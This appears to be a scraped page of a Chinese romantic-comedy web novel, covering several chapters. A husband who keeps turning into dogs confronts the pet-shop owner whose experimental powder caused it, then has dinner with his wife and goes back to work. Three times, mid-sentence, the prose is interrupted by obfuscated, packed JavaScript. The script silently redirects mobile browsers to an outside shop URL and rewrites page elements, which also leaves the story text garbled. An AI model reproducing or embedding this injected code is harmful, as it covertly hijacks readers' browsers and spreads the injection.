片刻后,齐北宸打包完了,锁在房间里的卢烨也打开门出来了。 裴矜只在新闻报道里听说过卢家这位太子爷的大名,他虽然没有齐北宸那么高但胜在气质清贵沉稳,一头银发非但不显得非主流,反而把他的冷白皮和俊秀的五官衬托出来了。 齐家姐弟三人组放在一起真是赏心悦目啊。颜控裴矜在心底如是说。 变成人类模样的卢烨和之前安静的二哈形象一样,话不多,看到裴矜时礼貌地点头:“你好,重新认识一下,我是卢烨,佘瑰的丈夫,同时也是齐北宸的表姐夫。” 裴矜同样回以微笑:“姐夫好,初次见面,我是裴矜。” 卢烨的眼睛在裴矜和齐北宸之间转了个圈,自然地站在他老婆一侧帮她提东西:“我没事了老婆,今天还有正事要做,我们路上聊。” 一行人搭着佘瑰的限量版超跑浩浩荡荡出发了。佘瑰开车,卢烨坐副驾驶,齐北宸和裴矜坐在后排。 先前只顾着理顺来客是谁,坐在车上理智慢慢回笼的裴矜好奇地问道:“表姐,你是怎么知道阿宸他也变成狗了?” 开车的佘瑰笑得握方向盘的手都在抖,表情寡淡:“那个啊,全因为他变成狗的时候还要臭美,把不该发的视频发给我了。” 哦,还有视频的事? 裴矜和齐北宸才建立起来的小船眼瞅要翻船了,齐北宸立即拿出手机,打开他和佘瑰的聊天界面把视频点开。 画面里,一只泰迪犬大半只狗头占据了镜头,湿漉漉的舌头伸着哈气,还时不时发出几声狗叫,耳朵后缺了的那块毛清晰可见。 接着是第二段短视频,这次大脸怼镜头特写的主角换成了金毛犬,只是那放大的狗脸,无处安放的舌头和小泰迪一模一样。 所以这能说明什么问题? 裴矜看完之后仍是一头雾水,齐北宸点掉视频,给她看文字消息界面,这一看可把裴矜乐坏了。 首先看到的是齐北宸变成泰迪犬时期的对话: 齐北宸:[发送了01:25分钟时长视频] 佘瑰:?你养狗了? 齐北宸:表情包发错了.jpg 佘瑰:有病。 佘瑰:你确定你没事? 佘瑰:??? 佘瑰:人呢?死哪儿去了? 接着是齐北宸变成大金毛时期的对话: 齐北宸:[发送了02:03分钟时长视频] 佘瑰:你小子住狗堆里了? 齐北宸:表情包我错了.jpg 佘瑰:说人话。 佘瑰:…… 佘瑰:又死哪儿去了?耍我玩啊? 佘瑰:Tuesunconnard! 最后是昨天晚上人形齐北宸和佘瑰的对话: 齐北宸:姐,我的亲姐!我错了! 齐北宸:表情包滑跪.gif 齐北宸:您大人有大量,原谅小的吧! 齐北宸:姐,你睡了吗? 佘瑰:Casse-toi! 姐姐都气到飚法语了,难怪今天开场就气势逼人。齐北宸同学,你得好好反思一下自己作了多少死。 把手机还给齐北宸,裴矜的五官皱在一起,好不容易才各归各位。齐北宸收起手机,嘴里还嘟囔着:“我也不是故意的,又不是我想变成狗的,姐还那么凶,都不怕让我幼小的心灵留下心理阴影。” 听听,一个快三十岁的男人嘟嘟囔囔和个长不大的宝贝似的要人哄,绝对是变狗次数太多,真把自己当小狗狗了。 坐在前排的卢烨像看妖怪似的转过头吐槽了一句:“你还没被你姐打怕吗?” 齐北宸吓得缩了缩脖子,疯狂摇头。预感到有大瓜降临的裴矜自然没有放过这个机会,她身子往前,手按在车椅上问:“姐夫,能不能和我详细说说这是怎么一回事啊?” 卢烨轻笑:“宸宸连这个都不告诉你,他也太会包装自己了吧。” “小姐夫!”齐北宸按捺不住喊出声,还没等他说下去就被佘瑰的连珠炮打断了施法。 “宸宸小时候长得矮,发育慢。他刚上初中那会儿和隔壁班的一个男孩因为哪个动漫人物更厉害吵起来了,你推我我推你后面变成打架,结果他还打输了。” “我当时在读高一,我们学校初高中就在隔壁,离得非常近。我当时正好路过看到他被人按在地上打,二话不说把对面那小子狠抽了几下屁股丢给他们班主任。等下课回到家,宸宸也被我揍得屁股开花,我至今还记得他当时泪眼汪汪哭着喊'姐,我下次不敢了。'” “我和他说打架解决不了任何问题,要变强不能诉诸暴.力。今天我替他出头是因为他是我弟,今天我打他更是因为他是我弟。后面的事有机会你让宸宸自己说给你听,他的作死史太长了,三天三夜的说不完。” 裴矜听到这么个故事露出了不可置信又意料之中的表情。 意料之中的是齐北宸只要作不死就往死里作的秉性是天生,意外的是现在看上去人高马大的腱子肉,小时候居然是个矮冬瓜。 都那么弱了还敢学人打架,心得有多大? 过去的黑历史被兜底翻出来鞭尸,齐北宸生无可恋地瘫在车上:“我今天算是丢人丢到姥姥家去了。” 卢烨趁此机会翻出佘瑰手机里珍藏的齐北宸小时候照片,小小的一只糯米团子穿着背带裤,长得颇为可爱,一双眼睛从小到大都几乎都没变过。 裴矜见左右无人,偷偷用蓝牙把照片传到了自己手机上。 藏个糯米团子照片私下偷偷看一眼是合理行为,谁让齐北宸是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706835|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 合法老公。 几人谈话间车子已抵达目的地,裴矜收起手机戳戳软成液体状的齐北宸:“别嚎了,把罐子拿上准备下车了。” 齐北宸瘪着嘴捧着自己的一罐子狗毛和其余几人进入小梅屋。 今天是工作日,宠物店里的人不算多。卢烨走在最前面,店员看到他立即笑着问候:“卢先生来了,需要我去喊店长吗?” 卢烨点点头:“是的,我今天还带了几个亲戚,请你告诉他我在大会客室等他。” 店员回应完就去喊店长了,走在最后的齐北宸一跃走到了队伍最前面带路,那随意的模样仿佛这里是她第二个家。 裴矜在小梅屋下过好几单,因为消费力不错还加入了VIP客户群。听到刚刚卢烨熟稔的口吻又加上齐北宸对此地的熟悉程度,一个模糊的念头在裴矜脑内产生。 该不会他们两个人会变成狗的原因和这家店有关系吧? 裴矜转念一想,拉了下齐北宸的衣袖:“你和姐夫都认识这家店的店长?” 齐北宸任由裴矜扯着他的衣袖,他往双人沙发上一座,让出一半给裴矜:“认识啊,我和他还有小姐夫三人经常上线组局打游戏,老熟人了。” “那你之前为什么不说!” “那不是变成狗了没办法说嘛。” “不对,你变回来了也没说过。” “呃……我变回来就忘了,不是故意不告诉你。” 齐北宸一脸窘迫,表面硬撑着装没事人。 坐在对面的卢烨冷不丁吐槽:“小裴,他那个2G脑袋你就别指望有5G的速度了。” 佘瑰更是狠狠补了一刀:“一个连自己几周前做了什么都记不得的男人,也难怪不知道今天的目的地在哪儿。” 得,别人村通网,搁齐北宸这儿连信号塔都没建成。 佘瑰从衣服口袋里拿出一个小巧的玻璃瓶,里面装着黑白镶间的毛发,一看就知道是什么了。 “嗨,我亲爱的挚友们,是什么风把你们吹来了?哦~我猜一下,是不是又想搞三排对抗?可惜我现在正在为人民服务时间,不像二位大少爷有钱有闲,想做什么就做什么,哎~” 人未至,声先至。一个轻快的年轻男声从门口传来,接着是由暗转亮的瞬间反光的眼镜,最后才看到一个清隽的轮廓。 对方甫一进门就对着裴矜和佘瑰分别点头打招呼:“欢迎来到小梅屋,我是店长梅由谨,很高兴认识二位女士。请问二位怎么称呼?” “佘瑰,卢烨的太太。” “你好,我是裴矜,齐北宸是我先生。” 由谨而专,由专而博,名字的寓意倒是不错,但结合这个人的姓氏裴矜险些绷不住破功。哪儿是没有劲,他一看就全身有使不完的牛劲。 梅由谨在听到裴矜名字的那一刻眼睛一亮,语气更加欢快:“原来是VIP顾客裴女士临门,恕小店招待不周。小黄,赶紧给贵客上点心,把马克龙还有黑巧慕斯都拿出来!” “行了,别搞那些虚的了。”卢烨对着店员摇摇头,示意梅由谨坐下,目光深沉,“我们今天来不是和你玩游戏,也不是来光顾你生意的。你之前闯了个大祸,自己心里没有数吗?” 19. 一杯水引发的事故 卢烨的口气算不上严厉,但威压感不输给佘瑰。 梅由谨推了推眼镜,依言坐下,一双眼珠子就没停止过转动:“卢哥,这里面是不是有什么误会?我做的可都是合法生意,从没得罪过你。你要是说游戏上的事情……” “不是游戏上的事,你的重点错了。”佘瑰没耐心地打断他的喋喋不休,“想一想,上个月23号星期五晚上发生了什么事。” 梅由谨抱臂思索,村通网的齐北宸先行一步回忆起来了:“我记起来了,当时不是我、小姐夫还有小梅三个人在这里约好了一起打游戏吗?” 卢烨点点头:“对,就是那一天。宸宸你再回忆一下当时发生了什么。” 齐北宸边思索边回答:“好像也没什么特别的,我们三排赢了三盘,输了两盘,赢的那几盘MVP都是我……” 佘瑰二次打断:“没问你游戏过程,说重点。” “重点……能有什么重点啊。”齐北宸的脑细胞宣布下线,“然后就各回各家,各找各妈了呗。” 裴矜隐约感受到了不一般:“阿宸,你再想想,你有没有接触过什么东西?或者看到过什么?” 被裴矜这样一提醒,齐北宸这才想起来了:“我想起来了,我们打完第三盘的时候我出去倒水喝,不知道里面掺了什么鬼东西,巨苦巨难喝。我反应过来的时候已经喝掉大半杯了,但后面几天也没感觉不舒服。” “是那个蓝色热水壶里的水吧,我也喝了。”卢烨的目光转移到没吭过声的梅由谨身上,“我喝了一小口感觉不太对就没继续喝,我回来的时候还问了小梅他的水壶里的水是不是变味了。小梅,你还记得自己是怎么说的吗?” 梅由谨托腮思考了半天,憋出一句:“记不清了。” 齐北宸立即站起身,一巴掌拍在他的肩膀上,发出一声闷响:“再想想。” “哎哟,轻点齐哥。”梅由谨皱着眉头,眼珠子一转,“我好像是说问题不大,万一有事再说?” “所以你的万一来了。”卢烨把一大一小两罐狗毛推到梅由谨面前,“喝了你的水,我们俩都变成狗了,你说你是不是该负责?” 房间内四双眼睛齐刷刷盯在梅由谨的身上,他咽了口口水,搓着双手说道:“诸位息怒,我觉得里面是不是存在什么误会……” 佘瑰二话不说也站了起来:“那我打电话举.报了,就说你们宠物店卫生存在问题,得配合有关部门好好接受检查。” 齐北宸又添了一把火:“说不定还能截图给你晒网上,避雷指南喜加一,多好的机会啊小梅。” 齐北宸和佘瑰俩姐弟一左一右像两尊门神一样把梅由谨夹在中间。梅由谨的眼珠子转啊转,搓手的速度更快了一点。 他知道吧,就是不想承认。 套路看多了,也就学会了怎么拆套路。裴矜拿出手机,随口说道:“VIP买了就这么个服务态度,我还是退群的好。” 梅由谨一下从齐家姐弟的包夹中跳出来,对着裴矜拼命摇手:“裴女士,我们有话好好说。”他瞥了眼面色不善的其他人,吞吞吐吐道,“那个我觉得可能是我研发的宠物药粉不小心混进来了。” 卢烨示意他坐下:“说具体一点。” “谢谢卢哥。”梅由谨从口袋里摸出一个试剂模样的东西放在桌上,里面抹茶色的粉末很特别,“这是我最新研发的宠物体质改善药试做品,你们说感觉苦、难喝大概就是因为这个药是真挺难喝,我拿来喂小白鼠,鼠都不喝。” “喂不了鼠,我也没办法。正好卢哥和齐哥找我打游戏,我就去打了,药粉被我放哪儿了我也不记得。等你们俩走之后,我发现药不见了,罐子和茶粉那些混在一起,我就想应该不会是……” “就是你那个不会是把我们俩坑了。”卢烨取了一点粉混在水里,几乎不用搅拌,粉末也能完美混入水中,一点颜色都没有。 齐北宸更是一把抓着梅由谨的脖子:“果然是你小子搞的鬼,你知道我和小姐夫俩人受了多大罪吗?!” 接下来漫长的半个小时里裴矜的耳朵被迫欣赏了一场男声合唱,著名表演艺术家齐北宸的老调重弹按下不表,新秀卢烨明显待遇要比前者好太多。 细究起来原因只有一个:卢烨的脑子好使,在她第一次变身哈士奇幼崽之后,他立刻意识到可能是什么导致的,只是当时他以为自己是个案,没想到还有齐北宸的事。 贤内助佘瑰一直在外飞拍摄,她在得知自家老公这个荒唐的玄幻故事后,没有任何怀疑只丢下一句“等我回来,照顾好自己”,随后便快马加鞭地拍完广告提早回来。 在她没回来之前还遇到了表弟齐北宸发的迷之短视频,回国与卢烨汇合后,夫妻俩决定要带着另一个受害者一起上门要说法,这才有了今天的故事。 佘表姐和卢姐夫真乃神人也。 裴矜对卢烨的脑子有多佩服,就对变着法子隐瞒自己还什么都不记得的齐北宸有多无奈。 嫁都嫁了,总不见得大难临头真飞了跑,把齐北宸丢着不管,这不符合裴矜的一贯原则。两对夫妻把梅由谨团团围住要说法,梅由谨双手抱膝说出了今天第一句人话:“我也没想到宠物药会给人造成这样的影响,但事情发生了,我肯定会负责治疗好二位。” 裴矜点了点桌上的狗毛罐子:“这两罐毛有用吗?” “那当然,不过不需要太多,取一些样本就好,剩下的你们自己拿回去。就是齐哥喝太多了,情况处理起来更复杂。” 哎,怎么整得真像带着只超大体型的阿拉斯加来宠物店就诊一样。 裴矜暗叹自己命苦,梅由谨又补了一句:“卢哥只会变成哈士奇幼崽说明体征比较稳定,齐哥那五花八门的变身得摸个逻辑。保险起见,家里得按个摄像机,定期要记录观察,检测设备也得备上。” ……齐北宸,你这个吞金兽! 看着一大排的购物列表,裴矜心疼自己瘪瘪的荷包:“怎么还要钱,明明我们才是受害者,就这么对我们啊。” 齐北宸见状上前一步:“小梅,你都把哥害成这样了,不会准备还要哥掏钱买你的那些破烂设备吧?”他勾着梅由谨的脖子,手指对着清单一弹,“就你那些破机器,拿来给我练拳都不够。清单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709485|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 上这些全给我回头送家里去,可以不?” 梅由谨还想说些什么,但他被齐北宸箍得动弹不得,只能连连点头:“齐哥说的是,哪儿能让裴小姐掏钱。” 佘瑰适时插嘴:“言下之意,你是准备赚我的钱咯?” “岂敢,岂敢~佘影后光顾让小店蓬荜生辉,卢哥那份明天就给您二位送货上门。” “这还差不多。”齐北宸松开手,抬着下巴吩咐,“小梅,时间不等人,你得抓紧一点,今天就先这样了。姐,小姐夫,我们走呗。” 此行目的达成,一行人收拾完毕准备各回各家。 就这样回去似乎太亏了,赔偿费都没有也太抠门了。 裴矜越想越憋屈。 不行,走之前得薅点羊毛。 齐家姐弟的操作给了裴矜灵感,她冲着梅由谨招招手:“小梅先生,我现在不算普通的VIP了,应该算VVIP了吧?我买东西是不是应该……” 梅由谨小鸡啄米般地点头:“裴小姐以后买东西享受折上折,有新品小样第一时间随单附赠。” 有戏,可以薅一点。 裴矜拿出运营部主任谈压价谈合同的本能,目光在店内扫了一圈,最后落在新出的狗狗古风小斗篷上:“这件衣服看上去不错就是价钱也太贵了,我之前听阿宸说别人家也有类似款式,可人家才卖你的一个零头。” 梅由谨嘴角一抽:“裴小姐好眼光,这是昨天才上架的新货,肯定要贵一点。” 裴矜摸了摸料子,摇摇头:“质感太差了,一点不透气。算了,我还是听阿宸的去那家买吧。”说着转身欲走。 “哎,裴小姐留步。”梅由谨牙咬得嘎吱响,脸上还在笑:“裴小姐那么照顾小店生意,哪儿能让你破费。这件衣服算我们交个朋友,以后请你多多关照鄙店生意。小黄,把这件包起来。” 裴矜一扫之前的阴霾,提着打包好的衣服跟上众人。 原来齐北宸的脸真能当信用卡刷,提出来就能免费蹭衣服。 一想到日后穿着帅气小斗篷的小狗模样齐北宸满屋子乱跑,裴矜觉得这样的日子似乎要比自己想的愉快。 佘瑰和卢烨把裴、齐二人送回家后并未多做停留,裴矜和二人交换了联系方式以防万一,拿着一大堆东西和齐北宸回到了自己的小家。 还没进门,王妈做好的饭菜香气扑鼻而来。两人洗了手,面对面坐着,准备就餐,裴矜摆了摆手:“我感冒还没好透,怕传给你,要不还是餐具分开吧。” 齐北宸愣了一下,给裴矜盛了满满一大碗饭:“这样说来你更要和我一桌吃饭了,不是说感冒要传给别人才好得快吗?王妈你肯定舍不得,那就祸祸我呗,我不在意。” 这说的是什么话。 裴矜接过碗道了声谢:“你的情况现在很不稳定,要多爱惜自己的身体,别老说那些晦气话。” “不说这个那说什么?”齐北宸拿了个更大的碗给自己也盛满白米饭,筷子在左手上转了半个圈,眼睛若有似无地瞅裴矜,“裴矜同志,我觉得你的眼神很可疑,你是不是偷偷背着我藏什么东西了?” 20. 反向审讯 浓油赤酱的大排骨冒着热气,切碎的葱花均匀地遍布在紧实的肉质上。 裴矜夹起排骨,刚要入口就被齐北宸的问题给硬控了几秒钟。 吃货进食脑被迫切换成铁嘴精英脑,裴矜悠哉悠哉地咬下一块肉,含糊不清地说:“你是戏拍多了还没出戏,还是在小梅那儿吃了闷亏心里不舒服,追着我咬干什么。” 齐北宸也夹起一块排骨,细嚼慢咽地吃着,目光始终锁定裴矜不放:“不对吧,这不像平时的你。你平时要是遇到被人乱说,都会认真地解释'我不是这样的人,你要是怀疑我,请拿出证据来',而不是这样底气不足啊。” “啧,你不对劲。”齐北宸大口咬下一块肉,语气戏谑“看你一路上笑得超扎眼,我就感觉奇怪,想随便试一下你,没想到你还真有问题啊。裴矜,你变了,那个一本正经的小古板裴主任是被盗号了吗?” 裴矜嚼排骨的动作一顿。 她有那么明显吗?还说她笑得很扎眼,明明之前在她单位,笑得像朵喇叭花齐北宸更扎眼,他倒是挺会倒打一耙的。 只字不提小斗篷和糯米团子照片的事,裴矜将嘴硬文学进行到底。 “随你怎么说,但不许编排我。”裴矜伸筷子去夹了一筷子小青菜,“我哪儿小古板了,我这叫严以律己。认真地过好每一天,不辜负自己有错吗?” 齐北宸笑得肩膀都在抖:“话是没错,但从你嘴里说出来超怪的。裴矜,我之前和你还没结婚的时候就觉得你有点搞笑天赋,婚后你是将天赋技能彻底点亮了啊。” 婚前他们也没相处多久,也就吃了几顿饭,看了几部电影,逛过几次街,剩下都是线上交流,王不见王的,哪儿搞笑了。 裴矜越想越迷糊,齐北宸趁机把筷子伸在小青菜堆里刷刷几筷子一夹,全卷到自己碗里:“你忘了?你第一次见我那会儿,还一脸严肃地和我说'齐先生,我很久没追正剧了,不好意思,没有认出你。'” 被齐北宸一提醒,裴矜回忆起了当时的场景。 那次相亲,裴矜压根没觉得会成,不是她不喜欢齐北宸的脸,恰恰是因为齐北宸那种帅脸和衣架子身材让她感觉这事太不科学了。 一个年近三十的大帅哥那么久不结婚,要么是不喜欢女人,要么是有隐疾,或者干脆照片就是PS的,他就是个照骗! 更甭提介绍人还说齐北宸是个演员,只看照片上穿着休闲衬衫有文有礼的模样,裴矜下意识就把他归类到“演正剧但不出名的年轻配角”“可能是话剧团演员”这一类范畴里。 直到见到齐北宸本尊的时候,裴矜才发现这人是真没PS,真人就长这样,只不过他的气质和性格与照片相去甚远。 裴矜那时捧着咖啡杯一路听齐北宸聊他的工作和梦想,他既像个没长大的孩子般手舞足蹈,也有面对现实无奈的独自消化。 原本只打算应付一场的裴矜渐渐听入了迷,随后才有那句“我很久没追正剧”的发言。现在看来,反而是那句话成为了二人结缘的契机,因为当时齐北宸给的回答也很耐人寻味。 “很高兴你看到了一个并不完美的三流演员齐北宸,请问裴小姐,我有荣幸邀请你下次再看一部电影吗?” 思绪回到现在,裴矜看着眼前大口吃饭的丈夫,心中微澜:“你还好意思说我,那个时候你听完一个劲在那儿笑。我问你为什么,你还卖关子,磨了你好久才告诉我,你是流量演员,你就欺负我笨呗。” “我可没这个意思,你别过度解读。”说话间齐北宸碗里的菜已经堆成了小山坡,“再说了,流量两个字对你这个不追星的人来说就是个标签,你会在乎吗?” “你怎么知道我不会在乎?” “得了吧裴矜,你要是真在乎就不会连我演过什么剧都不知道。像你这样不追星只看剧,最后还嫁了个流量的,说出去都没人信。” 换作几个月前,裴矜会被齐北宸堵得哑口无言。可今时不同往日,有了唐蜜的热情推荐,她不止知道,甚至还追完了一部剧。 “我知道啊,《失忆总裁契约妻》嘛。你真当我是傻的,不会上网查吗?” 齐北宸放下筷子,发出雷鸣般的掌声,引得王妈都探出头:“可以可以,为裴主任多看了我一眼而鼓掌。” “去你的,又贫嘴。” 暗中庆幸带歪了齐北宸没有追问她照片和小斗篷的事,裴矜松了口气,看到少了一大半的小青菜时微微一愣。 盘子里只剩下最嫩的菜心和叶子,其余有些轻微焦黄的菜叶和较硬的菜梗都躺在齐北宸的碗里。 这个大少爷真是讨人厌,哪儿有像他这样照顾病号还嘴上不饶人的。裴矜的嘴角短暂上扬了一瞬。 吃人家嘴软,嘴一软就容易跟着心软。 裴矜夹起一颗小菜心放在齐北宸碗里,趁他不备从他碗里抢了一片有点炒得泛黄的菜叶,自顾自吃了起来:“赏你的,不用谢。” 齐北宸夹起碗里的小菜心,看了又看。他把放进嘴里慢慢咀嚼,略带笑意的眼睛注视着裴矜:“嗯,甜的。” 裴矜觉得才退下去的热度好像又回升了些许。 甜个鬼,又乱说。受不了了,再和他坐一张桌子上吃饭,人都要不正常了。 “我吃饱了,你慢慢吃。” 裴矜扒完最后一口饭,再度复刻了《裴主任落跑记》第二集,只不过这次不是因为上头的狗油味罢了。 回到房间里的裴矜还没平复多久心情,她的手机响了,屏幕上闪烁着“妈妈”二字,她赶紧接起。 “喂,妈。” “哎,小矜啊,饭吃过没啊。” “刚刚吃过了。妈,你和爸吃了没?” “也才吃完不久。”裴妈妈的声音温柔亲切,“小矜啊,你的声音怎么听上去有点哑,感冒了?” 裴矜清了清嗓子:“小毛病,已经吃过药快好了。” “最近天气变化快,你要多注意身体。对了,小齐知道你生病了吗?” 裴矜嗯了声,又补充道:“他这两天不忙,在家照顾我。” 电话那头传来裴妈妈掩饰不住的轻笑声。 裴矜有点不好意思地跺了跺脚:“妈,他就是很普通地照顾我,没别的意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714622|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 。” 裴妈妈笑声依然:“小矜啊,你是妈妈亲手拉扯大的孩子,你在想什么,妈妈都知道。妈妈不担心别的,就怕你有个头疼脑热的时候,身边没个贴心人。现在听你这么说,妈妈算是放心了。” “小齐那孩子看着张扬,但他不像那些不学无术的纨绔子弟,很有冲劲也知道疼人,不然我和你爸也不会同意你嫁过去。你好好养病,等你身体好了,有空带着小齐回家吃饭。” 裴矜又嗯了一声,语带羞涩:“知道了妈,我会和他回来看你和爸的。” 幸福的休假时间总是过得很快,裴矜又该回去上班了。 今时不同往日,家里多了一只不知道什么时候会变成狗的老公。裴矜出门前千叮咛万嘱咐:“王妈那边我打过招呼了,说最近你有个开宠物店的朋友会时不时寄放狗狗在咱家,你不用担心突然变身这事。” 齐北宸站在门口,手里提着裴矜的包包:“知道了老婆,我也和我经纪人沟通过了,最近以短时间通告为主。小梅那儿有消息了会第一时间告诉我们的。” 裴矜接过包包,推门离开前回头又看了他一眼:“有事记得联系我。” 齐北宸敬礼:“好的主任,也请主任多多保重身体,开工大吉。” 哎,也不知道他到底听进去多少。 推门而出去搭乘地铁,时隔两天出门工作,裴矜站在马路边等红绿灯的时候难免有些恍惚。 少时只知读书苦,工作了并没变得轻松,更多的是一种习惯。 裴矜不讨厌这种习惯,它让自己感觉充实、有底气,只是偶尔夜深人静的时候,她也会冒出一些“生活中如果能多一丝甜味就更好了”的想法。 放空大脑来到公司,在打卡机前裴矜就被一堆同事问候了,其中还有一张被遗忘的熟面孔。 “裴主任,身体好些了吗?”方铭手里提着刚买的早餐,对着裴矜微笑点头,“我的独家情报来源告诉我,你前天都烧起来了,怎么那么快就来上班了,不多休息几天?” “方组长,早上好。”裴矜打完卡也对着他礼貌地点点头,“打工人打工魂,该干的活得干啊。你的独家情报来源没告诉你我今天要回来上班吗?” 方铭被裴矜说得一噎,随即笑了笑:“裴主任,你这嘴是不是和小齐学的,几天不见,利索多了。” 可以啊齐北宸,这才多久的功夫都喊上小齐了。原以为方铭是个日抛型美瞳,没想到齐北宸反而和他处得不错,社交悍.匪恐怖如斯。 对外人有外人套路,对朋友有朋友的招数。 裴矜和方铭打完卡,往没人的地方走了几步,一点也不惯着他,反问起了他的黑历史:“那我还是比不上方组长,齐北宸同名同姓究竟有多少个,那么精彩的问题我是联想不到。” 方铭瞪大眼睛,语气夸张:“嘿,那能怪我吗?我连什么时候变成了你们小夫妻play里的一环我都不知道。不过也亏了你这层关系,我才交到一个新朋友。”方铭说着,压低声音道,“小齐最近要上架的那个新剧,今天早上官方才放出的消息有抽奖活动,你知道不?” 21. 层层加密 裴矜当然知道方铭嘴里说的是哪部剧,她早些时候就已经点了追剧预约,就等着开播那天追连载。 现在有免费抽奖,她更是高低要试试看。中不中是其次,走过路过不能错过。 “我……” “主任早,诶~方组长也在啊,早早早。”唐蜜手里拿着咖啡和小面包,闻着味就过来了,“你们在聊什么呢?我好像听到什么抽奖的?也带我一个呗。” 方铭拿出手机给唐蜜看:“就这部剧在做预热,你有兴趣参与吗?” 唐蜜接过手机一看,眼睛在齐北宸的海报上停留了数秒:“那当然!方哥你真是好眼光,这是我偶像的剧哎!” 方铭听得一愣,下意识看了裴矜一眼:“你的偶像是齐北宸啊?” 唐蜜拼命点头:“对啊,他长得那么帅,演技不错,产量高,也没什么糟心事,我是他的事业粉哦!要是有机会和他合影签名,我就大满足了!” 唐蜜小姐,你的任务目标已经完成了一半,只是你不知道而已。 裴矜感觉自己站在这里像个特等席的观众,她感受到了方铭的暗号,轻咳一声道:“小唐,那你要是和他本人真见到了,你会去要签名吗?” “那还用问,必须的啊!”唐蜜手里的咖啡都随着她的动作晃出波纹,“可惜啊,我没主任你那么好的命,天天能近距离吃代餐,还是青春男大版。” 方铭的肩膀微微抖动,他绷着一张脸继续问:“你是说主任她老公?” “对啊,不然还能有谁。”唐蜜翻了个大白眼,“方哥,你不是和那帅哥聊得很开心嘛,你还问我啊?” 方铭的肩膀抖得更厉害了些,嘴角拼命压抑着:“咳,算不上,我和他也就是刚认识不久的一般朋友。确实,还是我们裴主任眼光独到,遇到好的直接藏起来独享了。” 他们俩要是知道自己的好哥们、自己的偶像在家完全是一副狗样,还变着法地掉毛,估计三观都要重塑了。 裴矜一不想隔空虐狗,二也不想徒生事端,她抿了抿唇道:“那都是缘分,有缘千里来相会嘛。” 这次方铭真快克制不住了,他对着唐蜜缓慢地做着点头运动,附和道:“是啊,无缘对面不相逢。小唐啊,你要想开一点。” 唐蜜被说得丈二和尚摸不着头脑:“我有什么想不开的,方哥,你回头记得把抽奖链接发我,我要发动我的小红手把周边抱回家!” 方铭哈哈大笑:“知道了,会发给你的。”他说着还冲裴矜笑了一下,“也会发给主任你的。” 没办法了,方铭都把链接喂到嘴边了,不活动一下灵巧的手指有点说不过去。 裴矜进到办公室,把几天没来的办公室又重新打扫了一遍。随后她给自己泡了一杯水,关上门,坐在办公椅上看茶叶的状态。 嗯,茶叶梗竖起的比较多,是个好兆头。 裴矜搓搓手,点开方铭发来的链接,绑定账号后大致扫了一眼。 奖品不算太多,一等奖是男主火女主等身定制抱枕二选一,二等奖男女主的独家定制情侣马克杯,三等奖是男女主的签名海报。此外官方设有一些零星的小周边作为奖品,比如小型Q版贴纸、钥匙圈等。 裴矜从小到大抽奖运平平,大奖虽然眼馋,但她不指望,那些看起来就很可爱的周边她要是能抽到一个就太好了。 双手合十,诚心地拜了拜,裴矜按下抽奖按钮。 几秒后,屏幕上炸开“恭喜中奖”的大红色特效,裴矜定睛一看,她获得了两枚钥匙圈。 挺好挺好,小富即安,做人不能太贪心。 裴矜对这个结果很满意,按流程填完收货地址,心情颇好地开始工作。 两天不在公司,邮箱里塞满了邮件,裴矜还没来得及回复几封,吕恪就捧着一堆需要她签字的文件进来了。 “早上好主任,身体好些了吗?” “好多了,谢谢关心。” 裴矜一边看文件,一边时不时针对性提出几个合同上的问题,吕恪耐心地一一解答。 不错,她离开这两天吕恪没摆烂敷衍,有些地方的处理还欠一点火候,但小吕还年轻,慢慢培养就是了。 俩人一问一答有条不紊地处理着文件,这时裴矜听到一阵震动声,她看了一眼自己的手机,确认不是自己的。 “小吕,是不是你手机响了?” 吕恪拿出手机,视线在手机屏幕上停顿了片刻后就摁掉了。他的笑容有些勉强:“没事主任,是我个人的私事,我们先处理工作。” 有点可疑。 最近和齐北宸斗智斗勇,片刻不敢放松,裴矜的嗅觉已经达到了足以和野生动物媲美的程度。她嘴上没说什么,心里总感觉吕恪是不是在刻意回避这类话题。 短暂的宁静没有持续太久,几分钟后,熟悉的震动声又响了起来。这回裴矜不再沉默,抬起头说道:“小吕,如果是你家里人打来的还是接一下的好,万一他们有急事找你呢?” 吕恪的脸在那一瞬间不再带着熟悉的温和笑意。嘴角下撇,眼神微眯,虽然这个画面只一晃而过,裴矜却牢牢地记在了心里。 “谢谢主任关心。” 裴矜的办公室外面是大办公室,人多眼杂更不方便。吕恪没有走出去,而是拿着手机走到靠近窗口的地方按下了接听键。 “喂?嗯,是我。” “在忙,什么事?” “我在上班,有事下班再说,就这样。” “我说了我在上班,不要打扰我上班,挂了。” 